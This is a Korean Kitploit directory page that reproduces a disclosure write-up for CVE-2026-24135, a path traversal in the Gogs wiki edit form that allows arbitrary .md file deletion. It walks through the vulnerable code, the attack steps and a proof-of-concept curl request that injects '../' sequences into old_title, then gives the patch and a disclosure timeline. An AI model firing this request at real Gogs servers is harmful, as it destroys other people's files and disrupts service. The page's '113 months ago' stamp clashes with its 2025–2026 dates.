Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24135 — Gogs Wiki 경로 탐색을 통한 임의 파일 삭제 | Kitploit
도구/GitHubGitHub/reschjonas/cve-2026-24135
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Gogs Wiki 경로 탐색을 통한 임의 파일 삭제

저장소 보기
113개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24135: Gogs의 위키 경로 탐색을 통한 임의 파일 삭제

심각도: 높음 (CVSS 7.5)
영향 받는 소프트웨어: Gogs <= 0.13.3
패치 버전: 0.13.4, 0.14.0+dev
보안 권고: GHSA-jp7c-wj6q-3qf2
패치: gogs/gogs#8099


요약

Gogs(Go로 작성된 널리 사용되는 자체 호스팅 Git 서비스)에 대한 보안 감사 중 updateWikiPage 함수에서 경로 탐색 취약점을 발견했습니다. 이 취약점을 통해 위키 쓰기 권한이 있는 인증된 사용자가 위키 편집 양식의 old_title 매개변수에 경로 탐색 시퀀스를 주입하여 서버의 임의 파일을 삭제할 수 있습니다.


근본 원인

이 취약점은 internal/database/wiki.go의 비대칭적 입력 검증 결함입니다. 위키 페이지가 업데이트될 때 이 함수는 두 개의 제목 매개변수를 서로 다르게 처리합니다:

매개변수검증됨?사용 위치
title(새 이름)예 — ToWikiPageName() 사용파일 생성 시 path.Join()
oldTitle(이전 이름)아니요path.Join() + os.Remove()

취약한 코드

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

oldTitle 값은 사용자가 제어하는 양식 입력에서 라우트 핸들러를 거쳐 경로 검증 없이 직접 os.Remove()로 전달됩니다.


데이터 흐름

root@kitploit:~
User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

공격 경로

전제 조건: 모든 저장소 위키에 쓰기 권한이 있는 인증된 사용자.

  1. 기존 위키 페이지를 편집하기 위해 이동
  2. /repo/wiki/edit에 전송되는 POST 요청을 가로챔
  3. old_title 양식 필드를 수정하여 경로 탐색 시퀀스(예: ../../../../tmp/target_file)를 포함시킴
  4. 요청을 제출함
  5. 서버가 탐색 경로를 해석하고 대상 파일을 삭제함

개념 증명(PoC)

root@kitploit:~
# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

.md 확장자는 자동으로 추가됩니다. Gogs 프로세스에 쓰기 권한이 있는 .md로 끝나는 모든 파일을 삭제할 수 있습니다.


영향

영향설명
임의 파일 삭제Gogs 프로세스가 쓸 수 있는 모든 .md 파일 삭제
서비스 거부(DoS)중요한 구성 또는 데이터 파일 제거
데이터 손실다른 사용자의 위키 페이지, 문서 또는 저장소 파일 파괴
잠재적 권한 상승다른 취약점과 연쇄되어 추가적인 침해로 이어질 수 있음

수정

title에 이미 적용된 것과 동일한 ToWikiPageName 검증을 oldTitle에도 적용합니다:

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

공개 과정에서 이 수정 사항을 제안했고 Gogs 유지관리자가 PR #8099에서 이를 구현했습니다.


공개 타임라인

날짜사건
2025-12-13보안 감사 중 취약점 발견
2025-12-13GitHub Security Advisory를 통해 보안 권고 제출 (GHSA-jp7c-wj6q-3qf2)
2026-01-20Gogs 유지관리자에게 후속 연락
2026-01-20유지관리자가 취약점 인정
2026-01-22패치 병합 (#8099)
2026-01-22GitHub에서 CVE-2026-24135 지정
2026-02-06공식 공개

참고 자료

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • 패치: gogs/gogs#8099
  • Gogs 프로젝트
도구 다운로드